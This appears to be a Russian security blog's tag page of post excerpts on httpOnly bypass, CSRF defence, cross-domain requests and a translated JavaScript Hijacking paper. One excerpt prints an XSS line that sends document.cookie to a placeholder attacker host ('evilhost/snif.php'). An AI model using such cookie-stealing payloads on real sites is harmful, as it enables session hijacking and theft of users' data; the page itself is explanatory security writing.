httpOnly – это дополнительный флаг для HTTP-заголовка Set-Cookie, который указывает на запрет чтения/записи данных Cookie посредством JavaScript, отсюда и название: Cookie доступны только через протокол HTTP. Использование httpOnly позволяет веб-разработчикам установить собственную политику безопасности в отношении доступа к Cookie из среды браузера, что по замыслу разработчиков из Microsoft должно помочь в борьбе против XSS-уязвимостей. Однако обойти ограничения httpOnly довольно просто…
Tag: ajax
-
Методы обхода httpOnly
-
Защита от CSRF
CSRF является одной из самых распространенных уязвимостей в современных веб-приложениях. Это связано с недооценкой разработчиками степени угрозы CSRF-атак, что выражается в недостаточных мерах защиты против CSRF или вообще в полном их отсутствии. На самом деле, эффективно обезопасить свое веб-приложение от CSRF совсем не сложно: уже достаточно давно практикуется универсальный способ, о котором я хотел бы рассказать в этом посте. Кроме того, будут затронуты уже готовые реализации этого приема: CSRFx и csrf-magic. -
XDomainRequest vs XMLHttpRequest
Этот пост является продолжением недавней статьи, в которой описывались методы удаленного взаимодействия с сервером посредством JavaScript, в частности с помощью AJAX. Как Вы уже знаете, в FireFox 3 JS-объект XMLHttpRequest будет иметь возможность посылать запросы на сторонние сайты. Microsoft по-видимому снова решила выделиться и вместо того, чтобы унифицировать интерфейс для отправки запросов, решила внедрить новый объект в Internet Explorer 8, который также будет способен делать междоменные вызовы. Заметьте, что до этого в IE использовался (собственно и сейчас используется) свой объект ActiveX с названием Microsoft.XMLHTTP, однако вместо его изменения, как поступили разработчики FF с XMLHttpRequest, мелкомягкие решили создать полностью новый, и при этом он не будет связан с ActiveX! Напрашивается вопрос: раз уж принялись за создание нового объекта, почему бы не сделать его максимально универсальным? Мне непонятно такое стремление, впрочем, как и всем разработчикам, среди которых данное решение поддержки однозначно не найдет.
-
HTML & JS: взаимодействие с удаленным сервером
Сегодня я хотел бы рассмотреть существующие методы для обращения клиента через браузер к стороннему серверу. Для чего это нужно злоумышленникам? Все очень просто: для реализации атак вида XSS (Cross Site Scripting) и CSRF (Cross Site Request Frogery). В большинстве случаев хакеру требуется сделать GET-запрос к своему серверу; как правило, это достигается путем использования двух основных приемов:
- перенаправление с помощью location.replace()
document.location.replace("http://evilhost/snif.php?c="+document.cookie); - динамическое создание или вставка тэгов, имеющих аттрибуты src или background; при этом источником этих элементов является сервер злоумышленника. Это могут быть тэги img, iframe, frame, script, link, table и многие другие. (more…)
- перенаправление с помощью location.replace()
-
Javascript Hijacking
Авторы: Brian Chess, Yekaterina Tsipenyuk O’Neil, Jacob West ({brian, katrina, jacob}@fortifysoftware.com)
Дата: 12 марта 2007 года
Перевод: Raz0r
Оригинальная статья: _http://www.fortifysoftware.com/servlet/downloads/public/JavaScript_Hijacking.pdfВозрастающее количество современных Веб-приложений, часто называемых AJAX-приложениями, используют JavaScript как средство передачи информации. Данная статья описывает уязвимость, которую мы называем JavaScript Hijacking (hijacking – нападение, ограбление), позволяющую злоумышленникам получать доступ к конфиденциальной информации, содержащуюся в JS-сообщениях. Атака проводится благодаря тэгу <script>, с помощью которого возможен обход Same Origin Policy. Традиционные веб-приложения неуязвимы к описываемой атаке, так как не используют JS как метод передачи информации.
Мы исследовали 12 популярных AJAX-фреймворков , включая 4 серверных набора утилит – Direct Web Remoting (DWR), Microsoft ASP.NET Ajax (aka Atlas), xajax и Google Web Toolkit (GWT) – и 8 исключительно клиентских библиотек – Prototype, Script.aculo.us, Dojo, Moo.fx, jQuery,Yahoo! UI, Rico, и MochiKit. Мы определили, что среди них лишь в DWR 2.0 включены механизмы по предотвращению JavaScript Hijacking. Остальная же часть не предоставляет какой-либо защиты. Большинство самостоятельно написанных фреймоворков также уязвимы. (more…)